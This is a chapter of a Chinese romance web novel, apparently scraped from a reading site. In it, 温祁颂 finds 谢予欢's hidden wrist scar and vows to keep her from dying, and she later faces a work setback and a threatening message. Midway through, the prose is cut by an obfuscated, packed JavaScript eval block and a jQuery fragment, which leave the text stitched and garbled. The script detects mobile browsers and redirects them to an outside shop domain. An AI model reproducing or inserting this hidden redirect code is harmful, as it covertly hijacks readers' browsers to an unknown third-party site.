还不止一次。
怎么可能?
温祁颂极力清除着脑袋里的想法,可是刚才看到的,一遍遍地出现。
尽管他一次又一次否认,但人名人物关系,还有书中提到的与他们有关细节,无一例外都对上了。
他猛然抬头,呆呆地看向谢予欢,反复确认着眼前的她是真实存在的。
“很震惊吧?”谢予欢还以为他被吓到了,嘴角刚想向上弯起,手腕却突然被抓住。
她笑容一僵,有些懵地看了眼温祁颂,“温祁颂,你怎么了?不至于吧?”
温祁颂怔怔地抬眼,目光却紧盯着她戴着手表的左手。
他开始回想,好像每次见谢予欢的时候,她手上总会戴着手表,哪怕是洗手的时候水不小心溅到手表,她都没有摘下来过。
而且表带很宽,手表又戴得很紧,总是卡在手腕处不上不下,种种现象,很难不让他产生怀疑。
长时间的注视,谢予欢自然是察觉出他在盯着自己的手看。
她突然想起手腕上的疤,下意识想要收回手,却不料温祁颂根本不给机会,直接上手没几下就把她的手表解开了。
手表被放下,那道她藏了很久的疤,就这样出现在视线里。
谢予欢想要将手抽回,想要质问他,但当带着薄茧的指尖轻轻摩挲那道凸起时,她像熄了火一样,说不出一个字。
因为她看到了温祁颂眼底翻涌的自责与愧疚。
突然间,温祁颂松开了她的手,站起身沉默背对着她。
那道背对着自己的身影抬起手,像是在擦拭什么。
谢予欢愣了,犹豫着站起来,有些不知所措地喊着他。
“温祁颂……”
温祁颂没有回答,低头片刻,转回身。
他的神情与以往大差不差,唇角抿着没有说话,那双望向她的眼睛,似乎被水光浸过。
被盯了好一会儿,谢予欢后退半步,有些警惕道:“干什么?”
温祁颂还是没说话,站在对面,用那双黑黝黝的眼睛直直看着她。
她不明白温祁颂想要干什么。
但下一秒,温祁颂就给出了答案。
他上前一步,拉近了两人之间的距离,近到谢予欢的鼻尖全是熟悉的皂荚味。
温祁颂抱了她。
这个念头在脑海中变得清晰,她的睫羽骤然抬高,一时间恍惚在原地。
谢予欢的手依旧垂落在身侧,没有回抱也没有拒绝,第一次默许了不属于自己的温度在周围上升。
他为什么会抱自己?
此时此刻,她只想到是因为那本书,温祁颂看到了他们的结局。
谢予欢刚想说服自己,忽然反应过来温祁颂的眼神,好像有些熟悉。
是可怜。
“温祁颂。”
她的声音响起,方才话语里的关心荡然无存。
“你抱够了没?”
“没有。”
他的声音闷闷的,回答时带着明显的鼻音。
“松手。”
话里面像是掺进了冰渣子,温祁颂回过神身子一僵,接着乖乖听话松开了她。
谢予欢面上没有表情,一动不动地盯着他,强迫自己忽视他被泪水打湿的睫羽。
“不要用这种可怜的眼神看我。”
“不是可怜,是我——”他顿了顿,鼓足勇气道:“心疼你。”
谢予欢嘴角勾出抹冷笑,“有什么区别吗?”
“有呀。”
温栖乐不知什么时候睡醒出现在客厅,站在他们不远处,替温祁颂高声回答着,“心疼就是爸爸爱妈妈!”
谢予欢听后一怔,和温祁颂对视的瞬间沉默起来,同时空气弥漫起又浓又重的尴尬,直接盖过了她的脾气。
温祁颂怎么可能——
她回过神,视线里温祁颂的眼睛还在,随即不自在地撇开目光。
“栖乐。”
谢予欢和他拉开距离,低头看温栖乐,“你睡蒙了,有些话不能乱说。”
话飘进耳朵,在温祁颂的心脏糊上某种又厚又重的东西,眼帘不受控制地低下,呼吸都放浅了。
谢予欢自然是察觉到他的动作,还以为他是被自己刚才误会委屈,语气放缓了些,问:“温祁颂,你又怎么了?”
“我……”温祁颂望着她的眼睛,还是没说出口,“没有。”
嘴都跟温栖乐不高兴的时候一样,撅得都能挂酱油瓶了。
她说:“温祁颂,我不喜欢别人骗我。”
“你……之所以会那样,是不是有我的一份?”
“什么?”
温祁颂不说话,目光垂落在她的手腕处。
谢予欢立刻领会他的意思,将手腕转了半圈,将疤藏起来,轻声道:“意外而已。”
她还没找温祁颂算账来着,现在他胆子越来越大,竟然敢直接上手了。
那本书这么多页,关于他们的细节就这么一点,自己当初看了好久才看到的,他一翻就翻到了,这运气也真的是,怎么就恰好看到自己的片段?
“你为什么不恨我?”
温祁颂忽然说出一句,谢予欢听着有些无言以对。
“温祁颂你有毛病吧?”
谢予欢下意识看向温栖乐,刚想帮她把耳朵堵住,但她一个转身恰好躲开了。
温栖乐一步三回头,看了几眼他们脸上的表情。
虽然她很想留下来,但之前谢予欢告诉她,大人需要一些他们的空间才能把话说明白。
“爸爸妈妈聊,宝宝先走了。”
小身影一溜烟就消失在两人的视线里。
温祁颂继续追问道:“对于那些事,你不讨厌我不恨我,是因为你知道自己的结局,不想花这么多时间精力追究了是吗?”
谢予欢一愣,接着视线缓缓落下,避开了他炙热的眼神。
复杂的情绪在心里逐渐发酵,没想到温祁颂这么厉害,看了几眼书就能猜到自己的想法。
不想追究太多,确实是她时间和精力不够用。
墓地没买,钱没攒够,未知的危险没处理,还有个重要的,她放心不下温栖乐。
她希望温祁颂能看在自己的不计较的份上,能好好对温栖乐,别让她变成那样。
长久的沉默,温祁颂那颗抱着希望的心一点点下沉。
“温祁颂,这是我的事。”
“可是我不想让你死。”
话音落地,谢予欢怔住,缓了好久才重新问了遍。
“什么?”
“我说。”
温祁颂的神情变得异常严肃,语气郑重到像是在发誓。
“我不想让你死,我温祁颂不想让你谢予欢死,我会尽我一切照顾你保护你。”
*
“予欢姐,在想什么呢?”
昨天的事在脑海里挥之不去,谢予欢这才出了神,她有些慌乱地抬头,随即别开视线躲开他眸中的探究。
“小周总,你怎么来了?”
“我来关心关心进度,听说这次深哥新的客户要求很高,会开了好多遍,方案也改好久了,还是没过。”
周渡野拉开椅子,从兜里掏出个苹果啃了起来,“难得见你在工作上犯愁,这回要改什么?”
谢予欢看了眼电脑上才改到一半的方案,疲惫地后靠椅子,回道:“没有。”
注意周围没什么人,她看向周渡野,心里来了主意。
“小周总,我可以问你个问题吗?”
“嚯!”周渡野移开苹果,惊奇地压低声音,“你说,我听着。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704714|202767||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这是谢予欢第一次主动问自己问题,看样子还是私人问题。
果然不出他所料,下一秒,谢予欢把自己的私人问题问出口了。
“如果跟你之前关系不是很好的一个人,他……”她不知道该怎么形容,犹犹豫豫道:“他说不想让你有事,这是为什么?”
周渡野从中听出不对,问:“确定关系不好吗?”怎么听里面都像是有猫腻的样子?
“之前有些误会,关系就像……就像你和那个杨越一样——”
听到杨越的名字,周渡野毫不犹豫道:“挑衅。”
怕她不明白自己的厌恶程度,又补充道:“赤裸裸地挑衅。”
“要是哪天杨越说喜欢我欣赏我,我就知道我该从顶楼跳下去回炉重造了。”
温祁颂这人有时候确实蔫坏,但也没至于到杨越那个地步。
谢予欢忍不住开口澄清,“他应该不是挑衅,他的态度很诚恳。”
语气里满满的维护,周渡野迟疑地说:“我怎么觉得你遇到渣男了?”
温祁颂是渣男?
谢予欢立刻将这个想法甩出脑海里,“他不渣的。”
听到这话,手里的苹果顿时不香了,周渡野瘪着嘴,“予欢姐,没看出来啊。你还有恋爱脑的潜质,已经被对方洗脑到这种程度了?”
“你在胡说些什么?”
眼见没能从他嘴里问出有用的,谢予欢干脆选择结束话题。
“小周总,记得别说出去。”
“放心,既然你这么信我,我肯定不会——”
两人正说,一道高大的身影正快速走了进来。
“谁是谢予欢?”
谢予欢抬头,瞧见个五官硬朗的男人,眉宇间有明显的疲惫,上衣有些皱巴,手里拎着件西装外套。
周渡野在旁边喊道:“深哥,你回来了?”
赵一深望向他,喊了声“小周总”,随后他扫到旁边那张陌生的面孔,挑了挑眉,问:“是你?”
谢予欢记起这个名字,之前迟盈跟自己提到过的,在外面谈业务还没回来的赵一深。
她点了点头,应道:“是我。”
“小周总,我还有点事处理。”赵一深转头,“来我办公室一趟。”
谢予欢心存疑惑,但还是起身跟在赵一深后面去了办公室。
刚一进门,赵一深就问道:“你认识陈珂陈总吗?”
“不认识。”
“坐。”赵一深看向旁边的椅子,眼神示意让她坐下,“海市远山的纪姝词纪小姐,认识吗?”
名字有些熟悉,但谢予欢一时半会没想起来,问:“哪个纪?”
赵一深看了她一眼,答道:“纪念品的纪。”
谢予欢顿了一下,否认道:“不认识。”
“不认识她为什么针对你?”
“我不知道。”
赵一深知道她没说实话,没打算再问下去,从外套口袋摸出烟盒,说:“这次项目你就别参与了,把手上工作交接一下。”
谢予欢没有立刻接话,半垂下眼思忖几秒后道:“我知道了。”
她满腹心事地回到座位,刚坐下没多久,手机屏幕亮了一下,拿起一看,是一个陌生号码发来信息。
【离开向崇严,否则这只是开始。】
她眉头轻蹙了下,随即准备拉黑。
下一秒,一张她和温栖乐的照片出现在目光里,背景看样子是在盛华。
她盯着那张照片,久久没有动作,面色却逐渐阴沉,眼底的寒意也随之一点点沁出。
不知过了多久,泛白的指尖恢复原样,她找出向崇严的电话号码拨了过去。
“是我。”
谢予欢压着喉间翻涌的情绪,生硬放缓态度。
“我们见一面吧。”